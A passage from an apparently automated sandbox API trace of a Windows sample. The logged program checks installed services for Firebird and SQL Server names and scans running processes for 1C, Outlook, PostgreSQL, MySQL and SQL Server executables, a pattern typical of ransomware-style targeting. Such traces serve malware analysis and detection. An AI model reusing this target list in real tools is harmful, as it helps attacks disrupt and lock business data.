lpString2="netprofm") returned 1 [0046.298] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0046.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0046.298] lstrlenW (lpString="NlaSvc") returned 6 [0046.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0046.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0046.298] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0046.298] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0046.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0046.298] lstrlenW (lpString="nsi") returned 3 [0046.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0046.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0046.298] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0046.298] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0046.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0046.299] lstrlenW (lpString="PcaSvc") returned 6 [0046.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0046.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0046.299] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0046.299] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0046.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0046.299] lstrlenW (lpString="PlugPlay") returned 8 [0046.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0046.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0046.299] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0046.299] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0046.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0046.299] lstrlenW (lpString="Power") returned 5 [0046.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0046.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0046.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0046.299] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0046.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0046.299] lstrlenW (lpString="ProfSvc") returned 7 [0046.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0046.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0046.299] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0046.299] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0046.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0046.299] lstrlenW (lpString="RpcEptMapper") returned 12 [0046.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0046.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0046.299] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0046.299] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0046.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0046.299] lstrlenW (lpString="RpcSs") returned 5 [0046.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0046.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0046.300] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0046.300] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0046.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0046.300] lstrlenW (lpString="SamSs") returned 5 [0046.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0046.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0046.300] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0046.300] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0046.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0046.300] lstrlenW (lpString="Schedule") returned 8 [0046.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0046.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0046.300] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0046.300] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0046.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0046.300] lstrlenW (lpString="SENS") returned 4 [0046.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0046.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0046.300] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0046.300] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0046.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0046.300] lstrlenW (lpString="ShellHWDetection") returned 16 [0046.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0046.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0046.300] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0046.300] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0046.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0046.300] lstrlenW (lpString="Spooler") returned 7 [0046.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0046.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0046.301] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0046.301] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0046.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0046.301] lstrlenW (lpString="swprv") returned 5 [0046.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0046.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0046.301] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0046.301] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0046.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0046.301] lstrlenW (lpString="SysMain") returned 7 [0046.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0046.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0046.301] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0046.301] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0046.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0046.301] lstrlenW (lpString="Themes") returned 6 [0046.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0046.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0046.301] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0046.301] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0046.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0046.301] lstrlenW (lpString="TrkWks") returned 6 [0046.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0046.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0046.301] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0046.301] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0046.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0046.301] lstrlenW (lpString="UxSms") returned 5 [0046.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0046.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0046.301] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0046.301] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0046.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0046.302] lstrlenW (lpString="VSS") returned 3 [0046.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0046.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0046.302] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0046.302] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0046.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0046.302] lstrlenW (lpString="WdiServiceHost") returned 14 [0046.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0046.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0046.302] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0046.302] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0046.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0046.302] lstrlenW (lpString="WdiSystemHost") returned 13 [0046.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0046.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0046.302] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0046.302] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0046.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0046.302] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0046.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0046.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0046.302] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0046.302] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0046.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0046.302] lstrlenW (lpString="Winmgmt") returned 7 [0046.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0046.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0046.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0046.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0046.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0046.302] lstrlenW (lpString="WPDBusEnum") returned 10 [0046.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0046.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0046.302] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0046.303] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0046.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0046.303] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e060 | out: hHeap=0x220000) returned 1 [0046.303] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x20c [0046.305] Process32FirstW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0046.306] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0046.306] lstrlenW (lpString="System") returned 6 [0046.306] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0046.306] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0046.306] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0046.306] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0046.306] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0046.306] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0046.306] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0046.307] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0046.307] lstrlenW (lpString="smss.exe") returned 8 [0046.307] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0046.307] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0046.307] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0046.307] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0046.307] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0046.307] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0046.307] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0046.307] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.308] lstrlenW (lpString="csrss.exe") returned 9 [0046.308] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0046.308] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0046.308] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0046.308] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0046.308] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0046.308] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0046.308] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0046.308] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0046.309] lstrlenW (lpString="wininit.exe") returned 11 [0046.309] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0046.309] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0046.309] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0046.309] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0046.310] lstrlenW (lpString="csrss.exe") returned 9 [0046.310] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0046.310] lstrlenW (lpString="winlogon.exe") returned 12 [0046.311] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0046.311] lstrlenW (lpString="services.exe") returned 12 [0046.311] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0046.312] lstrlenW (lpString="lsass.exe") returned 9 [0046.312] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0046.313] lstrlenW (lpString="lsm.exe") returned 7 [0046.313] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.313] lstrlenW (lpString="svchost.exe") returned 11 [0046.313] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.314] lstrlenW (lpString="svchost.exe") returned 11 [0046.314] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.315] lstrlenW (lpString="svchost.exe") returned 11 [0046.315] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.315] lstrlenW (lpString="svchost.exe") returned 11 [0046.315] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.316] lstrlenW (lpString="svchost.exe") returned 11 [0046.316] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0046.317] lstrlenW (lpString="audiodg.exe") returned 11 [0046.317] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.317] lstrlenW (lpString="svchost.exe") returned 11 [0046.317] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.318] lstrlenW (lpString="svchost.exe") returned 11 [0046.318] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0046.319] lstrlenW (lpString="dwm.exe") returned 7 [0046.319] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0046.319] lstrlenW (lpString="explorer.exe") returned 12 [0046.320] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0046.320] lstrlenW (lpString="spoolsv.exe") returned 11 [0046.320] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.321] lstrlenW (lpString="taskhost.exe") returned 12 [0046.321] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0046.322] lstrlenW (lpString="svchost.exe") returned 11 [0046.322] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0046.322] lstrlenW (lpString="taskeng.exe") returned 11 [0046.322] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0046.323] lstrlenW (lpString="taskhost.exe") returned 12 [0046.323] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0046.324] lstrlenW (lpString="presidential.exe") returned 16 [0046.324] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0046.324] lstrlenW (lpString="ol-filing.exe") returned 13 [0046.324] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0046.325] lstrlenW (lpString="overcome.exe") returned 12 [0046.325] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0046.326] lstrlenW (lpString="declinedreferral.exe") returned 20 [0046.326] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0046.600] lstrlenW (lpString="franciscotrack.exe") returned 18 [0046.601] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0046.601] lstrlenW (lpString="nicholas.exe") returned 12 [0046.601] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0046.602] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0046.602] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0046.603] lstrlenW (lpString="word.exe") returned 8 [0046.603] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0046.603] lstrlenW (lpString="semestermeta.exe") returned 16 [0046.603] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0046.604] lstrlenW (lpString="reflects.exe") returned 12 [0046.604] Process32NextW (in: hSnapshot=0x20c, lppe=0x20bfd34 | out: 